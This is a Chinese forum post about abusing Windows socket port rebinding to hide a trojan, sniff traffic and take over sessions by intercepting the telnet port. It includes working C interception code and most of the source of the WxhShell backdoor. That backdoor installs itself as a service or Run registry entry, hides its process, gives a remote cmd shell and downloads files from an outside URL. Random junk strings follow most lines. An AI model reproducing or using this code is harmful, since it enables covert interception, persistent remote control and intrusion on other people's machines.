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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x(Uv>k~i}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s\~j,$Mm2  
+68age;dM  
  saddr.sin_family = AF_INET; 6qmV/DL  
^GYVRD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); POc<XLZB  
Q;l%@)m+~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N!<l~[rc  
pk'd& .  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uj\&-9gEi  
4VvE(f  
  这意味着什么?意味着可以进行如下的攻击: Y5ei:r|^  
4gEw }WiP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hFtjw6  
n|T$3j)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yYe>a^r4R  
y+$vHnS/jC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 wPYeKOh'  
)@U~Li/+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HLthVc w  
=d@)*W 6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v; ewMiK@E  
E}%Pwr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5cM%PYU4:v  
^vVAuO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SJc*Rl>  
fUis_?!  
  #include =Gj~:|;$  
  #include CU c,  
  #include RWu< dY#ym  
  #include    I4ZbMnO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .L^j:2(L  
  int main() s!D?%  
  { xh<{lZ)KJ  
  WORD wVersionRequested; 3HR)H-@6@7  
  DWORD ret; +3AX1o%p,#  
  WSADATA wsaData; 8kd):gZKZ  
  BOOL val; HnFH|H<Uf  
  SOCKADDR_IN saddr; QA~F  
  SOCKADDR_IN scaddr; L{;Q6_m  
  int err; BuAzO>=  
  SOCKET s; (I;81h`1G  
  SOCKET sc; QCDica `+*  
  int caddsize; * #z@b  
  HANDLE mt; < fe.  
  DWORD tid;   T^+K`U  
  wVersionRequested = MAKEWORD( 2, 2 ); *j<#5=l  
  err = WSAStartup( wVersionRequested, &wsaData ); L`O7-'`  
  if ( err != 0 ) { <WmjjD  
  printf("error!WSAStartup failed!\n");  xi<}n#  
  return -1; WSU/Z[\`H  
  } c;t3I},  
  saddr.sin_family = AF_INET; Q9p7{^m&E  
   {@x-T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WHjJR   
sGiK S,.K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :KRNLhWb  
  saddr.sin_port = htons(23); I_?R(V[9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dF! B5(  
  { 41.xi9V2  
  printf("error!socket failed!\n"); X?u=R)uG  
  return -1; xr Ne:Aj  
  } &F;bg  
  val = TRUE; n^55G>"0|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {fEb>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j~+(#|  
  { @kT@IQkri  
  printf("error!setsockopt failed!\n"); i-WP#\s  
  return -1; &>Y.$eW_  
  } |yj0Rv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wwR}h I(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]<%NX $9\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gd%Ho8,T  
+g1+,?cU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >#T?]5Z'MF  
  { (bNoe(<qU  
  ret=GetLastError(); \Q|,0`  
  printf("error!bind failed!\n");  9,tk  
  return -1; ,N_V(Cx5pt  
  } 5[*8C Y  
  listen(s,2); 6>&(OV   
  while(1) bq5we*" V  
  { +>Y]1IlI  
  caddsize = sizeof(scaddr); #4nBov3d  
  //接受连接请求 g38 MF  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7;6'=0(  
  if(sc!=INVALID_SOCKET) u,=?|M\  
  { hDoFF8)c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gCL}Ba  
  if(mt==NULL) 4`V&Yqwl  
  { wYS r.T8Q  
  printf("Thread Creat Failed!\n"); "9vL+Hh  
  break; UH(w, R`  
  } v y-(:aH7U  
  } K1;b4Sl?A  
  CloseHandle(mt); hv|-`}#0  
  } ycIcM~<4  
  closesocket(s); 1Z(9<M1!M  
  WSACleanup(); w:1UwgcPC  
  return 0; ]_!NmB_3  
  }   \x\(36\u  
  DWORD WINAPI ClientThread(LPVOID lpParam) @,G\` ;Ma  
  { LH@Kn?R6  
  SOCKET ss = (SOCKET)lpParam; 2>CR]  
  SOCKET sc; AS4oz:B  
  unsigned char buf[4096]; )T slI  
  SOCKADDR_IN saddr; v`qXb$YW  
  long num; 5VVU%STP  
  DWORD val; >B$ IrM7J  
  DWORD ret; lEQj62zIQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'w/ S6j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Oq}7q!H  
  saddr.sin_family = AF_INET; vMJ_n=Vf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X VKRT7U  
  saddr.sin_port = htons(23); ;D(6Gy9~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .F _u/"**  
  { 9A`^ (  
  printf("error!socket failed!\n"); v[DxWs8q  
  return -1; xj]^<oi<  
  } Efpj u(   
  val = 100; an Kflt3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?ZhBS3L  
  { 4^ 0CHy  
  ret = GetLastError(); 1:|o7`  
  return -1; T$DFTr\\  
  } G8Ow;:Ro  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ':=20V  
  { m.5@q mQ  
  ret = GetLastError(); [*H h6  
  return -1; g\49[U}[~F  
  } SHnMqaq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  z_(4  
  { >@-BZJg/k  
  printf("error!socket connect failed!\n"); (@* %moo  
  closesocket(sc); 8&1xb@Nc7  
  closesocket(ss); i DsY 5l  
  return -1; !bX   
  } &pv* TL8  
  while(1) \SJX;7 ST  
  { 3?+t%_[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ( ~JtKSq%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XE;' K`%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -_Z  
  num = recv(ss,buf,4096,0); Uw)B(;Hy?  
  if(num>0)  T#Z#YMk  
  send(sc,buf,num,0); O /&Qzt  
  else if(num==0) #!(2@N8  
  break; I;{Ua *  
  num = recv(sc,buf,4096,0); W6u(+P]("  
  if(num>0) ?. L]QU  
  send(ss,buf,num,0); x|Ms2.!  
  else if(num==0) xHkxrXqeI  
  break; 4dI`  
  } b>} )G7b}  
  closesocket(ss); i\K88B&24  
  closesocket(sc); cA90FqUH  
  return 0 ; Yqt~h  
  } Yic4|N?u  
Gy'/)}}Z  
=ATQ2\T$m  
========================================================== =6qSo @  
7VLn$q]:  
下边附上一个代码,,WXhSHELL 3)(uC+?[  
qE6D"+1y7  
========================================================== 0^d<@\  
k/Q8:qA  
#include "stdafx.h" <yw=+hz[u  
H<*n5r(c  
#include <stdio.h> MiMDEe%f%  
#include <string.h> Ud#xgs'  
#include <windows.h> 1b2xWzpG  
#include <winsock2.h> Xw162/:h  
#include <winsvc.h> T9>,Mx%D[  
#include <urlmon.h> 4Ub7T=LG  
i`w&{WTRQ  
#pragma comment (lib, "Ws2_32.lib") _|COnm  
#pragma comment (lib, "urlmon.lib") HeHo?<>|d  
:?)q"hE  
#define MAX_USER   100 // 最大客户端连接数 H[?l)nZ}  
#define BUF_SOCK   200 // sock buffer hu~XFRw15  
#define KEY_BUFF   255 // 输入 buffer Q 9<i2H  
:v E\r#hJ"  
#define REBOOT     0   // 重启 "(p&Oz  
#define SHUTDOWN   1   // 关机 fz+dOIU3\L  
)qDV3   
#define DEF_PORT   5000 // 监听端口 <II>io ;  
fV!~SX6S  
#define REG_LEN     16   // 注册表键长度 ?]_A~_J!  
#define SVC_LEN     80   // NT服务名长度 - G=doP0  
7Ewq'Vu`y  
// 从dll定义API `mS0]/AV/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7aHP;X~0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )s ?Hkn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |tFg9RT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~#=70  
Ece=loV*l  
// wxhshell配置信息 "Q[?W( SA  
struct WSCFG { ;F /w&u.n  
  int ws_port;         // 监听端口 }l5Q0'  
  char ws_passstr[REG_LEN]; // 口令 87R$Y> V  
  int ws_autoins;       // 安装标记, 1=yes 0=no =o[H2o y  
  char ws_regname[REG_LEN]; // 注册表键名 i~{0>"9  
  char ws_svcname[REG_LEN]; // 服务名 _u#r;h[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,,h>_IA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h0-CTPQ7A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'pT8S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?+byRoY>&g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V~QOl=`K:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z:VT%-  
6 _#CvQ  
}; z'Ut9u  
uA\KbA.c;U  
// default Wxhshell configuration 1L4v X  
struct WSCFG wscfg={DEF_PORT, KP gzB^>  
    "xuhuanlingzhe", jf=90eJc  
    1, #\6k_toZ  
    "Wxhshell", cu4|!s`#  
    "Wxhshell", 3nx*M=  
            "WxhShell Service", 58PL@H~@0  
    "Wrsky Windows CmdShell Service", yDi'@Z9R?  
    "Please Input Your Password: ", k.%FGn'fR  
  1, ~01t_Xp qc  
  "http://www.wrsky.com/wxhshell.exe", W"D>>]$|u  
  "Wxhshell.exe" v;Rm42k  
    }; A/~^4DR  
oK2jPP  
// 消息定义模块 J+qcA}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]q|U0(q9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Htce<H-P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lh;;%@1DM  
char *msg_ws_ext="\n\rExit."; n7bML?f'  
char *msg_ws_end="\n\rQuit."; "]yfx@)_  
char *msg_ws_boot="\n\rReboot..."; IG4`f~k^  
char *msg_ws_poff="\n\rShutdown..."; (usPAslr  
char *msg_ws_down="\n\rSave to "; LP}'upv  
({h W  
char *msg_ws_err="\n\rErr!"; Ka8Bed3  
char *msg_ws_ok="\n\rOK!"; 9gETWz(3I  
A3Vj3em  
char ExeFile[MAX_PATH]; ^{64b  
int nUser = 0; gzp]hh@4  
HANDLE handles[MAX_USER]; GAlM:>  
int OsIsNt; @[O|n)7  
P2 z~U  
SERVICE_STATUS       serviceStatus; `M ~-(,++  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9Hs5uBe  
dMa6hI{k  
// 函数声明 3/CKy##r%]  
int Install(void); 7"Q;Yi2(  
int Uninstall(void); y+M9{[ i/O  
int DownloadFile(char *sURL, SOCKET wsh); @zig{b8  
int Boot(int flag); >8gb/?z  
void HideProc(void); Q\z9\mMG-  
int GetOsVer(void); F?4&qbdD  
int Wxhshell(SOCKET wsl); gnw?Y 2  
void TalkWithClient(void *cs); "lKR~Qi  
int CmdShell(SOCKET sock); f<Y g_TG  
int StartFromService(void); wU&vkb)k  
int StartWxhshell(LPSTR lpCmdLine); *YP;HL  
1j!{?t ?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;sY n=r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k}e~xbh-y  
#6 M3BF  
// 数据结构和表定义 cTdX'5  
SERVICE_TABLE_ENTRY DispatchTable[] = q)y<\cEO  
{ e^-CxHwA-  
{wscfg.ws_svcname, NTServiceMain}, ~L9I@(/ S  
{NULL, NULL} le~p2l#e   
}; 17!<8vIV$C  
")3$. '5Dg  
// 自我安装 "E7YCZQR  
int Install(void) ;Lk07+3G  
{ ~lr,}K,  
  char svExeFile[MAX_PATH]; n fMU4(:  
  HKEY key; mfr7w+DK  
  strcpy(svExeFile,ExeFile); ,xy$h }g  
eJ60@N\A  
// 如果是win9x系统,修改注册表设为自启动 `'b2 z=j  
if(!OsIsNt) { .-cx9&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D8)6yPwE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R-1C#R[  
  RegCloseKey(key); + y|Q7+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B5!|L)7>{p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 70N Lv  
  RegCloseKey(key); X 3(*bj>P  
  return 0; N$P\$  
    } ; r95i1a'  
  } g ?{o2gG  
} :+meaxbu  
else { cA B<'44R  
QJU\YH%}  
// 如果是NT以上系统,安装为系统服务 *m[[>wE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o|y1m7X  
if (schSCManager!=0) jL:GP}I=  
{ 9QEK|x`8  
  SC_HANDLE schService = CreateService ;~(yv|f6  
  ( ]eo%eaA   
  schSCManager, HEe_K!_  
  wscfg.ws_svcname, N$<R6DU]K  
  wscfg.ws_svcdisp, J(Zz^$8]<?  
  SERVICE_ALL_ACCESS, }KR"0G[f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |_%q@EID  
  SERVICE_AUTO_START, T< o8lL  
  SERVICE_ERROR_NORMAL, *JiI>[  
  svExeFile, qR9!DQc'  
  NULL, I"HA( +G  
  NULL, X> U _v  
  NULL, 0G(|`xG1q  
  NULL, *fQn!2}=(  
  NULL RdLk85<n  
  ); `':G92}#  
  if (schService!=0)  OF O,5  
  { FR6 PY  
  CloseServiceHandle(schService); P$6 Pe>3  
  CloseServiceHandle(schSCManager); :d wP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4z,/0  
  strcat(svExeFile,wscfg.ws_svcname); h.5KzC S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MCl-er"]D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Zo}vV2  
  RegCloseKey(key); \-r"%@OkW  
  return 0; z(1`Iy M  
    } |F&02 f!]@  
  } pSodT G$E  
  CloseServiceHandle(schSCManager); =&WH9IKz  
} -b=A j8h  
} G@scz!Nt  
FM<`\ d'  
return 1; ?{wD%58^oG  
} ?vmoRX  
;e6- *  
// 自我卸载 YZ6" s-  
int Uninstall(void) 5>aK4: S/  
{ deCi\n  
  HKEY key; EAK[2?CY  
!k!1 h%7q  
if(!OsIsNt) { F[]6U/g n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >YR2h/S  
  RegDeleteValue(key,wscfg.ws_regname); d^d+8R  
  RegCloseKey(key); _3q}K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zhc99L&K  
  RegDeleteValue(key,wscfg.ws_regname); m[s$)-T  
  RegCloseKey(key); DC2[g9S>8@  
  return 0; 6bT>x5?  
  } ?vQ:z{BO  
} Y-~ M kB  
} OOnhT  
else { zEYQZywc  
HSEz20s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]E#W[6'VtB  
if (schSCManager!=0) c"/Hv  
{ a7jE*%f9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mEyIbMci  
  if (schService!=0) =Jswd  
  { W6V((84(O  
  if(DeleteService(schService)!=0) { mnFmShu  
  CloseServiceHandle(schService); ff 6x4t  
  CloseServiceHandle(schSCManager); 3)hQT-)  
  return 0; 3 5/ s\  
  } 4mnVXKt%.  
  CloseServiceHandle(schService); ^;wz+u4^l  
  } +g_m|LF  
  CloseServiceHandle(schSCManager);  7MQxW<0  
} b;5 M$  
} !1Nh`FN  
|v_ttJ;+Y  
return 1; LR3>_t  
} RM>A9nv$\  
vK$wc~  
// 从指定url下载文件 aev(CY,z  
int DownloadFile(char *sURL, SOCKET wsh) ] U,m 1  
{ @?bY,  
  HRESULT hr; =ba1::18  
char seps[]= "/"; 5-UrHbpCZ#  
char *token; kc<5wY_t  
char *file; lLLPvW[Q  
char myURL[MAX_PATH]; WG +]  
char myFILE[MAX_PATH]; ~bz$]o-<  
#x \YA#~  
strcpy(myURL,sURL); uo bQS!  
  token=strtok(myURL,seps); vb3hDy  
  while(token!=NULL) 8WC _CAP  
  { FmgMd)#  
    file=token; fpJ%{z2  
  token=strtok(NULL,seps); Xq}}T%jcd  
  } sK8sxy  
:KS"&h{SY  
GetCurrentDirectory(MAX_PATH,myFILE); z=Xh  
strcat(myFILE, "\\"); }yw>d\] f  
strcat(myFILE, file); mSGpxZ,IE  
  send(wsh,myFILE,strlen(myFILE),0); k t+h\^g  
send(wsh,"...",3,0); yJMo/!DZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GU]kgwSf i  
  if(hr==S_OK) <,Mf[R2N>  
return 0; wV\G$|Y  
else #"fn;  
return 1; Ok<,_yh  
v>_83P`  
} (S2E'L L{  
z>)lp$  
// 系统电源模块 `nY.&YT  
int Boot(int flag) >X*Y jv:r  
{ O+]'*~a  
  HANDLE hToken; 1C0' Gf)3  
  TOKEN_PRIVILEGES tkp; XW~a4If  
LMuDda  
  if(OsIsNt) { ]~ !CJ8d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5F#FC89Kk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T[MDjhv'  
    tkp.PrivilegeCount = 1; tToP7q^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \UZ7_\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @76I8r5l  
if(flag==REBOOT) { zx@L sp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c/V0AKkS 8  
  return 0; Rln\  
} syCT)}T6z  
else { Rw hKW?r+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dVZ~n4  
  return 0; IkO [R1K  
} <k {_YRB  
  } HVK0NI  
  else { )TEod!]  
if(flag==REBOOT) { >E3-/)Ti  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ppGWh  
  return 0; @FF80U4'  
} `qRyh}Ax"  
else { _-2n tO<E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5&xbGEP$  
  return 0; ZD4aT1|Q7  
} x+b.9f4xJ  
} ~y"OyOi&  
'S*]JZ1  
return 1; lgZ9*@d  
} *X^ C+F  
A5Q4wy`  
// win9x进程隐藏模块 x,|fblQz  
void HideProc(void) C_yNSD  
{ pCC^Hxa  
 cp0yr:~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N1 sdWXG  
  if ( hKernel != NULL ) KtArV  
  { HZ1nuA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MhJA8| B6|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5sNN:m  
    FreeLibrary(hKernel); .`(YCn?\  
  } .1z=VLKF'  
.zTkOk L  
return; Fk9]u^j  
} f4&;l|R0a  
yYSoJqj Q  
// 获取操作系统版本 DQ9aq.;  
int GetOsVer(void) ?cn`N|   
{ o-JB,^TE  
  OSVERSIONINFO winfo; h B_p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _>;{+XRX[  
  GetVersionEx(&winfo); XVb9)a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '-cayG   
  return 1; +ej5C:El_}  
  else z ?F`)}  
  return 0; ?@kz`BY  
} I!SIy&=W  
1Zi` \N4T  
// 客户端句柄模块 Y0J:c?,  
int Wxhshell(SOCKET wsl) +SW|/oIU  
{ MWK)Bn  
  SOCKET wsh; l/"!}wF  
  struct sockaddr_in client; &N]e pV>  
  DWORD myID; %~kE,^  
YY(_g|;?8  
  while(nUser<MAX_USER) 9c[bhGD?  
{ 53d`+an2  
  int nSize=sizeof(client); Cl3L)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Br.UN~q  
  if(wsh==INVALID_SOCKET) return 1; V<?0(esgR  
|WSpWsr,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RCoDdtMo  
if(handles[nUser]==0) At !:d3  
  closesocket(wsh); ,H8M.hbsQ  
else b80&${v  
  nUser++; |o*qZ}6  
  } .v+ W>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dBS_N/  
~*]7f%L-  
  return 0; G9GHBwT  
} 06Q9X!xD  
s^4wn:*$zd  
// 关闭 socket .J8 gW  
void CloseIt(SOCKET wsh) 0AF,} &$  
{ D,|TQ Q  
closesocket(wsh); Q7{{r&|t&  
nUser--; J<4_<.o(a  
ExitThread(0); N9s.nu  
} qk>SM| {  
1ox#hQBoS  
// 客户端请求句柄 ma!C:C9#J  
void TalkWithClient(void *cs) >< P<k&  
{ 7=Pj}x)  
j>l  
  SOCKET wsh=(SOCKET)cs; hJ8% r_  
  char pwd[SVC_LEN]; eVB43]g  
  char cmd[KEY_BUFF]; }2:q#}"  
char chr[1]; dLeos9M:  
int i,j; XKDX*x G  
[2>zaag  
  while (nUser < MAX_USER) { 9I$} =&"  
:eT\XtxM~{  
if(wscfg.ws_passstr) { fY?:SPR+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D>ou,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B&y?Dc  
  //ZeroMemory(pwd,KEY_BUFF); r!w*y3  
      i=0; % tC[q   
  while(i<SVC_LEN) { 3gD <!WI  
2X*n93AQi  
  // 设置超时 XD|Xd|/ {  
  fd_set FdRead; uEG4^  
  struct timeval TimeOut; 5e1oxSU  
  FD_ZERO(&FdRead); Gpcordt/  
  FD_SET(wsh,&FdRead); PR x-0S  
  TimeOut.tv_sec=8; &; p}HL,  
  TimeOut.tv_usec=0; g1_z=(i`Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?^MH:o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]YfG`0eK<  
M?Q\ Hw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #$L/pRC  
  pwd=chr[0]; g& f)WQ(  
  if(chr[0]==0xd || chr[0]==0xa) { 'HCRi Z<  
  pwd=0; gg8)oc+w  
  break; qJO6m-  
  } cKOXsdH?SL  
  i++; /u`Opv&I  
    } <P&X0S`O  
[eBt Dc*w  
  // 如果是非法用户,关闭 socket Evqy e;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L; A#N9  
} ^,?>6O  
?iEn~9WCS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rj4Mq:pJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c&aqN\'4"  
4:733Q3oK  
while(1) { m=/HUt3(&0  
p_e x  
  ZeroMemory(cmd,KEY_BUFF); $:1/`m19  
Ov4 [gHy&  
      // 自动支持客户端 telnet标准   4>fj @X(3  
  j=0; g>'6"p;  
  while(j<KEY_BUFF) { H 8 6 6,]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e=IbEm{|  
  cmd[j]=chr[0]; "LW\osjen  
  if(chr[0]==0xa || chr[0]==0xd) { nD>X?yz2  
  cmd[j]=0; :_2:Fh.}3~  
  break; Dq9f Fe  
  } hkV*UH{  
  j++; W<[7LdAB  
    }  j0O1??  
/L2n ~/  
  // 下载文件 mo= @Zt  
  if(strstr(cmd,"http://")) { &e#pL`N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $Fy~xMA8O  
  if(DownloadFile(cmd,wsh)) 2`ERrh^i"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M9Yov4k,4]  
  else  G;A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \IzZJGi  
  } 9$ VdYw7D  
  else { 7lJ8<EP9 u  
V~5vR`}  
    switch(cmd[0]) { uC#] F@  
  p)"EenUK  
  // 帮助 u:J4Az^!  
  case '?': { 6W7,EIf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :0Y.${h  
    break; d(9SkXr  
  } 'd;aAG  
  // 安装 )cZ KB0*+  
  case 'i': { W?.xtQEv  
    if(Install()) K:Z,4Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;ByCtVm2  
    else aO9\8\^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N[O_}_  
    break; 9o6qN1A0g  
    } rXip"uz(K>  
  // 卸载 S"87 <o  
  case 'r': { ?Iaqbt%2  
    if(Uninstall()) d~QJ}a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *tkf)[(  
    else ]^{5`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0tMzVx S  
    break; V/R@ =[  
    } L;b-=mF  
  // 显示 wxhshell 所在路径 (5[#?_~  
  case 'p': { 36.mf_AM  
    char svExeFile[MAX_PATH]; 6(1 &6|o3  
    strcpy(svExeFile,"\n\r"); S_VzmCi  
      strcat(svExeFile,ExeFile); -~lrv#5Q  
        send(wsh,svExeFile,strlen(svExeFile),0); !VrBoU4<d  
    break; irjHPuhcG  
    } akHQ&+[j  
  // 重启 |L-- j  
  case 'b': { I>-}ys`[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *]kE3  
    if(Boot(REBOOT)) r.:f.AY{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q?L*Luu+  
    else {  wJvk  
    closesocket(wsh); G`;mSq6i  
    ExitThread(0); F%{z E ANm  
    } U^-J_ yq  
    break; wjOqCF"  
    } I9U 8@e!X  
  // 关机 B8up v~U 6  
  case 'd': { ?q5HAIZ`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JKCV >k  
    if(Boot(SHUTDOWN)) Mz lE  
